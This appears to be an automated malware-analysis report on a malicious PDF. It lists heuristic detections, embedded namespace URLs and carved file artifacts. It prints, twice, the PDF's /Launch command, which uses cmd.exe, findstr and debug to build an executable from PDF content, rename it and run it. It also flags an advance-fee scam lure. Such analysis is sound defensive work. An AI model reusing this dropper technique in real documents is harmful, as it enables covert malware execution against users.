Malware Insights
The PDF file contains a critical PDF_LAUNCH heuristic firing, indicating an attempt to execute a command. The command identified is 'c:\windows\system32\cmd.exe /C findstr fuqkjqdhrj *.pdf > gplrd.src && debug < gplrd.src > out.txt && rename nyyqp.txt nyyqp.exe && start nyyqp.exe', which suggests the file is designed to process other PDF files, potentially to extract and execute malicious content. The SE_ADVANCE_FEE_SCAM_LURE heuristic further supports that the document's content is intended to deceive the user into performing an action that leads to malware execution.
Heuristics 4
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Launch action critical PDF_LAUNCHPDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
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/Launch action target: c:\\windows\\system32\\cmd.exe critical PDF_LAUNCH_COMMANDPDF /Launch action specifies an executable target with parameters '/C findstr fuqkjqdhrj *.pdf > gplrd.src && debug < gplrd.src > out.txt && rename nyyqp.txt nyyqp.exe && start nyyqp.exe' — references a known-dangerous executable (cmd, PowerShell, etc.).
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Advance-fee lottery/parcel scam lure high SE_ADVANCE_FEE_SCAM_LUREDocument contains lottery/beneficiary or prize language together with large-value draft/funds wording and parcel/courier delivery requirements. This is a classic advance-fee fraud document shape.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns#
- http://ns.adobe.com/xap/1.0/
- http://purl.org/dc/elements/1.1/
- http://ns.adobe.com/xap/1.0/mm/
- http://ns.adobe.com/pdf/1.3/
- http://ns.adobe.com/pdfx/1.3/
- http://ns.adobe.com/xap/1.0/g/img/
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#
- http://ns.adobe.com/tiff/1.0/
- http://ns.adobe.com/exif/1.0/
- http://ns.adobe.com/photoshop/1.0/
Extracted artifacts 8
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
stream_102_off0014bbe4.bin2fd39c2b5fc5bccd096feb40c4e48270fb8940450b8a628ad5b4d1b95b01cfe4 |
decompressed-pdf-stream | PDF FlateDecoded stream at offset 0x14BBE4 | 4194304 bytes |
icc_00_off0001f78f.icc2b3aa1645779a9e634744faf9b01e9102b0c9b88fd6deced7934df86b949af7e |
pdf-icc-profile | PDF ICC profile at offset 0x1F78F | 3144 bytes |
icc_01_off0007e47c.icc3f6d674174f3804eb0dabdac90ae17486e898c5063a66f861c116ea033da8301 |
pdf-icc-profile | PDF ICC profile at offset 0x7E47C | 3144 bytes |
font_00_sfnt_off00012c17.bin7e80129f677131766bd80caf36d48d2110e7219bb052c31847778a2af28bfa9a |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x12C17 | 23776 bytes |
font_01_sfnt_off0001a31e.bin81712040490068705e4bc97ae2a6b0366454629421792c1ce9dfbf7f91a19013 |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x1A31E | 5884 bytes |
font_02_sfnt_off0005ad0d.bin229c0711dddf51101d227913ecadf86da1a971312e23a3622a35026e857d0240 |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x5AD0D | 20220 bytes |
font_03_sfnt_off0006682d.bin0b2d8a023a8107b0184169ada4854df34ac93513b6b998174ddf6a3fe2cd0f17 |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x6682D | 20860 bytes |
font_04_sfnt_off00075ffe.bin7ce500e55d2b12ef606eba085838407ccc3cc2991eb12ba75cabe3df22e2f293 |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x75FFE | 18968 bytes |
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